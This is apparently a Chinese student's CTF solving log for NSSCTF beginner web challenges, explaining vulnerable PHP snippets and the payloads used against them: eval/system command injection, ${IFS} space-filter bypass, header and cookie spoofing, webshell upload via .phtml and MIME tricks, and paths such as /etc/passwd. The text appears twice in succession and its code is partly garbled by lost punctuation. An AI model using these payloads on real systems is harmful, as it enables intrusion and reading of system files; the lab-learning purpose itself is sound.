[领航杯江苏省赛 2021]签到题把附件下载下来是一个 word 文档ctrla 全选更改字体颜色找到 flag这一题只是把字体颜色改成了透明色把字体该回去就能够找到 flag 了CnHongke{2021 welcome you}[LitCTF 2023]我Flag呢进入到页面查看源代码在页面底部找到 flag[SWPUCTF 2021 新生赛]easyrce?php error_reporting(0); //出现报错时不返回报错信息 highlight_file(__FILE__); //高亮显示当前文件的源码__FILE__:表示当前这个PHP文件的路径 if(isset($_GET[url])) //检查GET请求中的url是否存在并且值也不为NULL如果符合条件那就执行下面的代码 { eval($_GET[url]); //执行传入的字符串 } ?urlsystem(ls /),使用 ls 查看根目录下的文件有哪些找到了 flllllaaaaaaggggggg执行过程检查GET请求方法中的url不为NULL-eval(system(ls /);),把system(ls /);字符串当作 PHP 代码执行然后 system()执行的是操作系统命令-最终查看根目录下有哪些文件urlsystem(cat /flllllaaaaaaggggggg) 使用 cat 查看/flllllaaaaaagggggggNSSCTF{de1b52c5-e64b-4da5-80ff-8224170f8880}考点总结RCE知识点eval()、system()、exec()、shell_exec(), 反引号、isset()eval() 是将字符串作为 PHP 代码执行system()是 PHP 内置函数作用是执行操作系统命令并把执行结果输出出来exec()执行命令但默认不直接回显全部结果一般拿返回值或数组shell_exec()执行命令并把完整输出作为字符串返回cmd 反引号执行PHP 里的反引号也可以执行系统命令isset()判断变量是否存在并且值不为 NULL这里只要值不是 NULL 就行比如、0、false、[] 它们都不为 NULL[SWPUCTF 2021 新生赛]caidaoeval($_POST[wllm]);隐藏错误信息eval($_POST[wllm]); 将 POST 请求参数中字符串内容当作 PHP 代码进行执行POSTwllmsystem(ls /);这里查找到了 flag,POSTwllmsystem(cat /flag);考点总结RCE[SWPUCTF 2021 新生赛]Do_you_know_http进入到网页显示说请使用 WLLM 浏览器使用 burp 抓包把 User-Agent 中的参数修改成 WLLMUser-Agent:WLLM返回成功在返回包中的 Locatino(位置)/a.php 是一个重点访问这个位置在最右侧的地方修改访问路径不要直接再原参数中进行修改修改好之后点击发送返回You can only read this at local!brYour address220.179.83.187只能在本地阅读修改 IP 地址在请求头的地方添加X-Forwarded-For:127.0.0.1返回你只能在本地读取Location: ./secretttt.php访问这个位置,得到 flag本题考点HTTP 请求头伪造IP 访问限制绕过知识点User-Agent、X-Forwarded-ForUser-Agent(用户代理) 的作用是标识客户端类型X-Forwarded-For:127.0.0.1 的作用是让服务器误以为请求来自本地从而绕过”只能本地访问“的限制[SWPUCTF 2021 新生赛]babyrce?php error_reporting(0); //出现报错时不显示信息 header(Content-Type:text/html;charsetutf-8); highlight_file(__FILE__); //高亮显示当前代码 if($_COOKIE[admin]1) //当COOKIE中的admin1时满足条件 { include ../next.php; //包含了../next.php这个文件 } else echo 小饼干最好吃啦; ? 小饼干最好吃啦使用 burp 进行抓包添加请求 cookiesCookie:admin1在返回包的最下面能够看到返回了一个rasalghul.php 文件和 urp 拼接在一起进入下一关?php error_reporting(0); //出现报错的时不显示报错信息 highlight_file(__FILE__); //高亮显示当前代码 error_reporting(0); if (isset($_GET[url])) { //判断GET请求中url是否被设置并且值不为NULL $ip$_GET[url]; //把GET请求中的url参数赋值给变量ip if(preg_match(/ /, $ip)){ //对变量ip进行正则匹配第一个是匹配的字符第二个要进行匹配的参数这里对变量ip中搜索是否有空格的存在 die(nonono); // } $a shell_exec($ip); //执行变量ip中的东西并且以字符串的形式输出出来 echo $a; //输出$a的值 } ?http://node5.anna.nssctf.cn:26964/rasalghul.php/?urlls${IFS}/;?urlls${IFS}/空格被过滤了使用${IFS}进行代替这里找到了 flllllaaaaaaggggggg 对他进行访问?urlcat${IFS}/flllllaaaaaagggggggNSSCTF{96c2c523-b07c-46af-86f1-a71ce17ad471}本题考点RCE、空格绕过、cookie 绕过知识点preg_match()、空格绕过preg_match($pattern,$subject):执行匹配正则表达式$pattern:要搜索的模式字符串形式$subject:输入字符串匹配成功返回 1不匹配返回 0出错返回 false空格绕过${IFS}$IFS$9%20%09%0a重定向如 cat/etc/passwd其他常见绕过关键字绕过cat、cat路径绕过/etc/pass*、/e??/passwd[第五空间 2021]WebFTP进入到页面中发现是一个登录框尝试使用 admin/admin 进行登录显示密码错误通过看标签能够知道这一题需要进行目录扫描才开始试了这几个了几个状态码为 200 的然后都没有结果在后面看到了 phpinfo.php,访问它搜索 flag找到了 flagNSSCTF{00bfb2f7-c126-459d-98f3-e1c359fb2f2d}在 phpinfo 这个页面中会显示很多信息比如PHP 版本、操作系统、web 服务器信息、已加载扩展、通过这个页面能够知道很多信息这是一个信息泄露页面本题考点目录扫描、phpinfo()信息泄露[SWPUCTF 2021 新生赛]easyupload2.0才开始上传 muma.php 文件说 php 代码是不行的然后把后缀改成 muma.phtml 就能够上传成功.pht 后缀名也能够上传成功连接试试返回连接成功http://node7.anna.nssctf.cn:23006/upload/muma.phtmlPASS在/var/www/html/flag.php 这里找到 flag这里查看过滤代码对 php、hta、ini 的大小写进行了过滤只要出现这些扩展名的大小写都进行过滤?php session_start(); echo meta charset\utf-8\; if(!isset($_SESSION[user])){ $_SESSION[user] md5((string)time() . (string)rand(100, 1000)); } if(isset($_FILES[uploaded])) { $target_path ./upload; $t_path $target_path . / . basename($_FILES[uploaded][name]); $uploaded_name $_FILES[uploaded][name]; $uploaded_ext substr($uploaded_name, strrpos($uploaded_name,.) 1); $uploaded_size $_FILES[uploaded][size]; $uploaded_tmp $_FILES[uploaded][tmp_name]; if(preg_match(/php|hta|ini/i, $uploaded_ext)) { die(php是不行滴); } else { $content file_get_contents($uploaded_tmp); move_uploaded_file($uploaded_tmp, $t_path); echo {$t_path} succesfully uploaded!; } } else { die(不传还想要f1ag?); } ?本题考点文件上传后缀名绕过知识点当文件上传后缀名中 php、hta、ini 被禁用时可以使用 phtml、pht 进行代替[LitCTF 2023]导弹迷踪玩了一会看到左上角了 LEVEL 这个关键字了所以 flag 的位置应该是和 LEVEL 在一起的直接在调试器中搜索 LEVEL 就能够找到 flag 了才开始搜索 flag 搜索不到的原因是被 | 隔开了题目考点源码泄露[LitCTF 2023]PHP是世界上最好的语言通过标签知道这是一个 RCE 的题目直接测试一下输入 system(ls /);执行成功返回根目录下的内容并且找到了 flag 的位置system(cat /flag);flagNSSCTF{8bd35110-f6e0-4492-b92a-8c8Sd213dff1a}本题考点RCE 回显[SWPUCTF 2021 新生赛]easyupload1.0才开始在对文件后缀名改了好几次但是发现怎么改都绕不过去后面把内容类型改成了 image/jpeg 就能够绕过去了使用蚁剑进行连接连接成功http://node4.anna.nssctf.cn:28857/upload/muma.phpPASS在/var/www/html/flag.php 这里找到的 flag 是假的flag 除了在根目录这里也有可能是在 phpinfo 中使用 phpinfo()函数进行查看PASSphpinfo();搜索 flag在 phpinfo 页面找到 flag本题考点MIME 绕过
2026/3/18 NSSCTF做题记录
[领航杯江苏省赛 2021]签到题把附件下载下来是一个 word 文档ctrla 全选更改字体颜色找到 flag这一题只是把字体颜色改成了透明色把字体该回去就能够找到 flag 了CnHongke{2021 welcome you}[LitCTF 2023]我Flag呢进入到页面查看源代码在页面底部找到 flag[SWPUCTF 2021 新生赛]easyrce?php error_reporting(0); //出现报错时不返回报错信息 highlight_file(__FILE__); //高亮显示当前文件的源码__FILE__:表示当前这个PHP文件的路径 if(isset($_GET[url])) //检查GET请求中的url是否存在并且值也不为NULL如果符合条件那就执行下面的代码 { eval($_GET[url]); //执行传入的字符串 } ?urlsystem(ls /),使用 ls 查看根目录下的文件有哪些找到了 flllllaaaaaaggggggg执行过程检查GET请求方法中的url不为NULL-eval(system(ls /);),把system(ls /);字符串当作 PHP 代码执行然后 system()执行的是操作系统命令-最终查看根目录下有哪些文件urlsystem(cat /flllllaaaaaaggggggg) 使用 cat 查看/flllllaaaaaagggggggNSSCTF{de1b52c5-e64b-4da5-80ff-8224170f8880}考点总结RCE知识点eval()、system()、exec()、shell_exec(), 反引号、isset()eval() 是将字符串作为 PHP 代码执行system()是 PHP 内置函数作用是执行操作系统命令并把执行结果输出出来exec()执行命令但默认不直接回显全部结果一般拿返回值或数组shell_exec()执行命令并把完整输出作为字符串返回cmd 反引号执行PHP 里的反引号也可以执行系统命令isset()判断变量是否存在并且值不为 NULL这里只要值不是 NULL 就行比如、0、false、[] 它们都不为 NULL[SWPUCTF 2021 新生赛]caidaoeval($_POST[wllm]);隐藏错误信息eval($_POST[wllm]); 将 POST 请求参数中字符串内容当作 PHP 代码进行执行POSTwllmsystem(ls /);这里查找到了 flag,POSTwllmsystem(cat /flag);考点总结RCE[SWPUCTF 2021 新生赛]Do_you_know_http进入到网页显示说请使用 WLLM 浏览器使用 burp 抓包把 User-Agent 中的参数修改成 WLLMUser-Agent:WLLM返回成功在返回包中的 Locatino(位置)/a.php 是一个重点访问这个位置在最右侧的地方修改访问路径不要直接再原参数中进行修改修改好之后点击发送返回You can only read this at local!brYour address220.179.83.187只能在本地阅读修改 IP 地址在请求头的地方添加X-Forwarded-For:127.0.0.1返回你只能在本地读取Location: ./secretttt.php访问这个位置,得到 flag本题考点HTTP 请求头伪造IP 访问限制绕过知识点User-Agent、X-Forwarded-ForUser-Agent(用户代理) 的作用是标识客户端类型X-Forwarded-For:127.0.0.1 的作用是让服务器误以为请求来自本地从而绕过”只能本地访问“的限制[SWPUCTF 2021 新生赛]babyrce?php error_reporting(0); //出现报错时不显示信息 header(Content-Type:text/html;charsetutf-8); highlight_file(__FILE__); //高亮显示当前代码 if($_COOKIE[admin]1) //当COOKIE中的admin1时满足条件 { include ../next.php; //包含了../next.php这个文件 } else echo 小饼干最好吃啦; ? 小饼干最好吃啦使用 burp 进行抓包添加请求 cookiesCookie:admin1在返回包的最下面能够看到返回了一个rasalghul.php 文件和 urp 拼接在一起进入下一关?php error_reporting(0); //出现报错的时不显示报错信息 highlight_file(__FILE__); //高亮显示当前代码 error_reporting(0); if (isset($_GET[url])) { //判断GET请求中url是否被设置并且值不为NULL $ip$_GET[url]; //把GET请求中的url参数赋值给变量ip if(preg_match(/ /, $ip)){ //对变量ip进行正则匹配第一个是匹配的字符第二个要进行匹配的参数这里对变量ip中搜索是否有空格的存在 die(nonono); // } $a shell_exec($ip); //执行变量ip中的东西并且以字符串的形式输出出来 echo $a; //输出$a的值 } ?http://node5.anna.nssctf.cn:26964/rasalghul.php/?urlls${IFS}/;?urlls${IFS}/空格被过滤了使用${IFS}进行代替这里找到了 flllllaaaaaaggggggg 对他进行访问?urlcat${IFS}/flllllaaaaaagggggggNSSCTF{96c2c523-b07c-46af-86f1-a71ce17ad471}本题考点RCE、空格绕过、cookie 绕过知识点preg_match()、空格绕过preg_match($pattern,$subject):执行匹配正则表达式$pattern:要搜索的模式字符串形式$subject:输入字符串匹配成功返回 1不匹配返回 0出错返回 false空格绕过${IFS}$IFS$9%20%09%0a重定向如 cat/etc/passwd其他常见绕过关键字绕过cat、cat路径绕过/etc/pass*、/e??/passwd[第五空间 2021]WebFTP进入到页面中发现是一个登录框尝试使用 admin/admin 进行登录显示密码错误通过看标签能够知道这一题需要进行目录扫描才开始试了这几个了几个状态码为 200 的然后都没有结果在后面看到了 phpinfo.php,访问它搜索 flag找到了 flagNSSCTF{00bfb2f7-c126-459d-98f3-e1c359fb2f2d}在 phpinfo 这个页面中会显示很多信息比如PHP 版本、操作系统、web 服务器信息、已加载扩展、通过这个页面能够知道很多信息这是一个信息泄露页面本题考点目录扫描、phpinfo()信息泄露[SWPUCTF 2021 新生赛]easyupload2.0才开始上传 muma.php 文件说 php 代码是不行的然后把后缀改成 muma.phtml 就能够上传成功.pht 后缀名也能够上传成功连接试试返回连接成功http://node7.anna.nssctf.cn:23006/upload/muma.phtmlPASS在/var/www/html/flag.php 这里找到 flag这里查看过滤代码对 php、hta、ini 的大小写进行了过滤只要出现这些扩展名的大小写都进行过滤?php session_start(); echo meta charset\utf-8\; if(!isset($_SESSION[user])){ $_SESSION[user] md5((string)time() . (string)rand(100, 1000)); } if(isset($_FILES[uploaded])) { $target_path ./upload; $t_path $target_path . / . basename($_FILES[uploaded][name]); $uploaded_name $_FILES[uploaded][name]; $uploaded_ext substr($uploaded_name, strrpos($uploaded_name,.) 1); $uploaded_size $_FILES[uploaded][size]; $uploaded_tmp $_FILES[uploaded][tmp_name]; if(preg_match(/php|hta|ini/i, $uploaded_ext)) { die(php是不行滴); } else { $content file_get_contents($uploaded_tmp); move_uploaded_file($uploaded_tmp, $t_path); echo {$t_path} succesfully uploaded!; } } else { die(不传还想要f1ag?); } ?本题考点文件上传后缀名绕过知识点当文件上传后缀名中 php、hta、ini 被禁用时可以使用 phtml、pht 进行代替[LitCTF 2023]导弹迷踪玩了一会看到左上角了 LEVEL 这个关键字了所以 flag 的位置应该是和 LEVEL 在一起的直接在调试器中搜索 LEVEL 就能够找到 flag 了才开始搜索 flag 搜索不到的原因是被 | 隔开了题目考点源码泄露[LitCTF 2023]PHP是世界上最好的语言通过标签知道这是一个 RCE 的题目直接测试一下输入 system(ls /);执行成功返回根目录下的内容并且找到了 flag 的位置system(cat /flag);flagNSSCTF{8bd35110-f6e0-4492-b92a-8c8Sd213dff1a}本题考点RCE 回显[SWPUCTF 2021 新生赛]easyupload1.0才开始在对文件后缀名改了好几次但是发现怎么改都绕不过去后面把内容类型改成了 image/jpeg 就能够绕过去了使用蚁剑进行连接连接成功http://node4.anna.nssctf.cn:28857/upload/muma.phpPASS在/var/www/html/flag.php 这里找到的 flag 是假的flag 除了在根目录这里也有可能是在 phpinfo 中使用 phpinfo()函数进行查看PASSphpinfo();搜索 flag在 phpinfo 页面找到 flag本题考点MIME 绕过